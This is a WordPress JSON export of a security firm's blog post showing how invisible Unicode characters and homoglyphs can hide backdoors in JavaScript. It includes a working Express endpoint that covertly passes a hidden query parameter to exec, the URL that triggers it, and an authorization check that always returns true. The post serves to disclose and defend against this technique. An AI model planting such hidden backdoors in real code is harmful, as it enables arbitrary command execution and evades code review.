{"id":738,"date":"2021-11-09T13:31:47","date_gmt":"2021-11-09T11:31:47","guid":{"rendered":"https:\/\/certitude.consulting\/blog\/?p=738"},"modified":"2022-01-19T14:57:01","modified_gmt":"2022-01-19T12:57:01","slug":"invisible-backdoor","status":"publish","type":"post","link":"https:\/\/certitude.consulting\/blog\/en\/invisible-backdoor\/","title":{"rendered":"The Invisible JavaScript Backdoor"},"content":{"rendered":"\n

A few months ago we saw a post <\/a>on the r\/programminghorror<\/em> subreddit: A developer describes the struggle of identifying a syntax error resulting from an invisible Unicode character hidden in JavaScript source code. This post inspired an idea: What if a backdoor literally <\/em>cannot be seen<\/em> and thus evades detection even from thorough <\/em>code reviews?<\/p>\n\n\n\n

Just as we were finishing up this blog post, a team at the University of Cambridge released a paper<\/a> describing such an attack. Their approach, however, is quite different from ours – it focuses on the Unicode bidirectional mechanism (Bidi). We have implemented a different take on what the paper titles “Invisible Character Attacks<\/em>” and “Homoglyph Attacks<\/em>“.<\/p>\n\n\n\n

Without further ado, here’s the backdoor<\/em>. Can you spot it?<\/p>\n\n\n\n

const express = require('express');\nconst util = require('util');\nconst exec = util.promisify(require('child_process').exec);\n\nconst app = express();\n\napp.get('\/network_health', async (req, res) => {\n    const { timeout,\u3164} = req.query;\n    const checkCommands = [\n        'ping -c 1 google.com',\n        'curl -s http:\/\/example.com\/',\u3164\n    ];\n\n    try {\n        await Promise.all(checkCommands.map(cmd => \n                cmd && exec(cmd, { timeout: +timeout || 5_000 })));\n        res.status(200);\n        res.send('ok');\n    } catch(e) {\n        res.status(500);\n        res.send('failed');\n    }\n});\n\napp.listen(8080);<\/code><\/pre>\n\n\n\n
The script implements a very simple network health check HTTP endpoint that executes ping -c 1 google.com<\/code> as well as curl -s http:\/\/example.com<\/code> and returns whether these commands executed successfully. The optional HTTP parameter timeout<\/code> limits the command execution time.<\/p>\n\n\n\n
The Backdoor<\/h2>\n\n\n\n
Our approach for creating the backdoor was to first, find an invisible Unicode character that can be interpreted as an identifier\/variable in JavaScript. Beginning with ECMAScript version 2015, all Unicode characters with the Unicode property ID_Start<\/code> can be used in identifiers (characters with property ID_Continue<\/code> can be used after the initial character).<\/p>\n\n\n\n
The character “\u3164” (0x3164 in hex) is called “HANGUL FILLER”<\/em> and belongs to the Unicode category “Letter, other”<\/em>. As this character is considered to be a letter<\/em>, it has the ID_Start<\/code> property and can therefore appear in a JavaScript variable – perfect!<\/p>\n\n\n\n
Next, a way to use this invisible character unnoticed <\/em>had to be found. The following visualizes the chosen approach by replacing the character in question with its escape sequence<\/em> representation:<\/p>\n\n\n\n
    const { timeout,\\u3164<\/strong>} = req.query;<\/code><\/pre>\n\n\n\n
A destructuring assignment<\/a> is used to deconstruct the HTTP parameters from req.query<\/code>. Contrary to what can be seen<\/em>, the parameter timeout<\/code> is not the sole parameter unpacked from the req.query<\/code> attribute! An additional variable\/HTTP parameter named “\u3164” is retrieved – if a HTTP parameter named “\u3164” is passed, it is assigned to the invisible variable \u3164<\/code>.<\/p>\n\n\n\n
Similarly, when the checkCommands<\/code> array is constructed, this variable \u3164<\/code> is included into the array:<\/p>\n\n\n\n
    const checkCommands = [\n        'ping -c 1 google.com',\n        'curl -s http:\/\/example.com\/',\\u3164<\/strong>\n    ];<\/code><\/pre>\n\n\n\n
Each element in the array, the hardcoded commands as well as the user-supplied parameter, is then passed to the exec<\/code> function. This function executes OS commands. For an attacker to execute arbitrary OS commands, they would have to pass a parameter named “\u3164” (in it’s URL-encoded form) to the endpoint:<\/p>\n\n\n\n
http:\/\/host:8080\/network_health?%E3%85%A4=<any command><\/span><\/code><\/pre>\n\n\n\n
This approach cannot be detected through syntax highlighting as invisible characters are not shown at all and therefore are not colorized by the IDE\/text editor:<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
The attack requires the IDE\/text editor (and the used font) to correctly render the invisible characters. At least Notepad++<\/em> and VS Code<\/em> render it correctly (in VS Code the invisible character is slightly wider than ASCII characters). The script behaves as described at least with Node 14.<\/p>\n\n\n\n
Homoglyph Approaches<\/h2>\n\n\n\n
Besides invisible<\/em> characters one could also introduce backdoors using Unicode characters that look very similar <\/em>to e.g. operators:<\/p>\n\n\n\n
const [ ENV_PROD, ENV_DEV ] = [ 'PRODUCTION', 'DEVELOPMENT'];\n\/* \u2026 *\/\nconst environment = 'PRODUCTION';\n\/* \u2026 *\/\nfunction isUserAdmin(user) {\n    if(environment\u01c3=ENV_PROD){\n        \/\/ bypass authZ checks in DEV\n        return true;\n    }\n\n    \/* \u2026 *\/\n    return false;\n}<\/code><\/pre>\n\n\n\n
The “\u01c3” character used is not an exclamation mark but an “ALVEOLAR CLICK<\/em>” character. The following line therefore does not compare the variable environment<\/code> to the string \"PRODUCTION\"<\/code> but instead assigns the string \"PRODUCTION\"<\/code> to the previously undefined variable environment\u01c3<\/code>:<\/p>\n\n\n\n
    if(environment\u01c3=ENV_PROD){<\/code><\/pre>\n\n\n\n
Thus, the expression within the if statement is always true<\/code> (tested with Node 14).<\/p>\n\n\n\n
There are many other characters that look similar to the ones used in code which may be used for such proposes (e.g. “\uff0f”, “\u2212”, “\uff0b”, “\u2a75”, “\u2768”, “\u2afd”, “\ua4ff”, “\u2217”). Unicode calls these characters “confusables”<\/a>. <\/p>\n\n\n\n
Takeaway<\/h2>\n\n\n\n
Note that messing with Unicode to hide vulnerable or malicious code is not<\/a> a<\/a> new<\/a> idea<\/a> (also using invisible characters<\/a>) and Unicode inherently opens up additional possibilities to obfuscate code<\/a>. We believe that these tricks are quite neat though, which is why we wanted to share them.<\/p>\n\n\n\n
Unicode should be kept in mind when doing reviews of code from unknown or untrusted contributors. This is especially interesting for open source projects as they might receive contributions from developers that are effectively anonymous. <\/p>\n\n\n\n
The Cambridge team proposes restricting Bidi Unicode characters. As we have shown, homoglyph attacks and invisible characters can pose a threat as well. In our experience non-ASCII characters are pretty rare in code. Many development teams chose to use English as the primary development language (both for code and strings within the code) in order to allow for international cooperation (ASCII covers all\/most characters used in the English language). Translation into other languages is often done using dedicated files. When we review German language code, we mostly see non-ASCII characters being substituted with ASCII characters (e.g. \u00e4 \u2192 ae, \u00df \u2192 ss). It might therefore be a good idea to disallow any non-ASCII characters.<\/p>\n\n\n\n
Update:<\/strong><\/p>\n\n\n\n
VS Code has issued an update that highlights invisible characters and confusables: https:\/\/code.visualstudio.com\/updates\/v1_63#_unicode-highlighting<\/a><\/p>\n\n\n\n
Unicode is forming a task force to investigate issues with source code spoofing: https:\/\/www.unicode.org\/L2\/L2022\/22007-avoiding-spoof.pdf<\/a><\/p>\n\n\n\n
\n\n\n\n
Certit<\/span>ude’s employees have many years of experience in code reviews and expertise in many languages and frameworks. If you are interested in working with Certit<\/span>ude to improve your application’s security, feel free to reach out to us at office@certitude.consulting.<\/p>\n","protected":false},"excerpt":{"rendered":"
A few months ago we saw a post on the r\/programminghorror subreddit: A developer describes the struggle of identifying a syntax error resulting from an invisible Unicode character hidden in JavaScript source code. This post inspired an idea: What if a backdoor literally cannot be seen and thus evades detection even from thorough code reviews? […]<\/p>\n","protected":false},"author":4,"featured_media":765,"comment_status":"closed","ping_status":"open","sticky":true,"template":"","format":"standard","meta":{"footnotes":""},"categories":[60],"tags":[175,86,178,176],"class_list":["post-738","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-technical-analysis","tag-backdoor","tag-research","tag-trojansource","tag-unicode"],"_links":{"self":[{"href":"https:\/\/certitude.consulting\/blog\/wp-json\/wp\/v2\/posts\/738","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/certitude.consulting\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/certitude.consulting\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/certitude.consulting\/blog\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/certitude.consulting\/blog\/wp-json\/wp\/v2\/comments?post=738"}],"version-history":[{"count":34,"href":"https:\/\/certitude.consulting\/blog\/wp-json\/wp\/v2\/posts\/738\/revisions"}],"predecessor-version":[{"id":977,"href":"https:\/\/certitude.consulting\/blog\/wp-json\/wp\/v2\/posts\/738\/revisions\/977"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/certitude.consulting\/blog\/wp-json\/wp\/v2\/media\/765"}],"wp:attachment":[{"href":"https:\/\/certitude.consulting\/blog\/wp-json\/wp\/v2\/media?parent=738"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/certitude.consulting\/blog\/wp-json\/wp\/v2\/categories?post=738"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/certitude.consulting\/blog\/wp-json\/wp\/v2\/tags?post=738"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}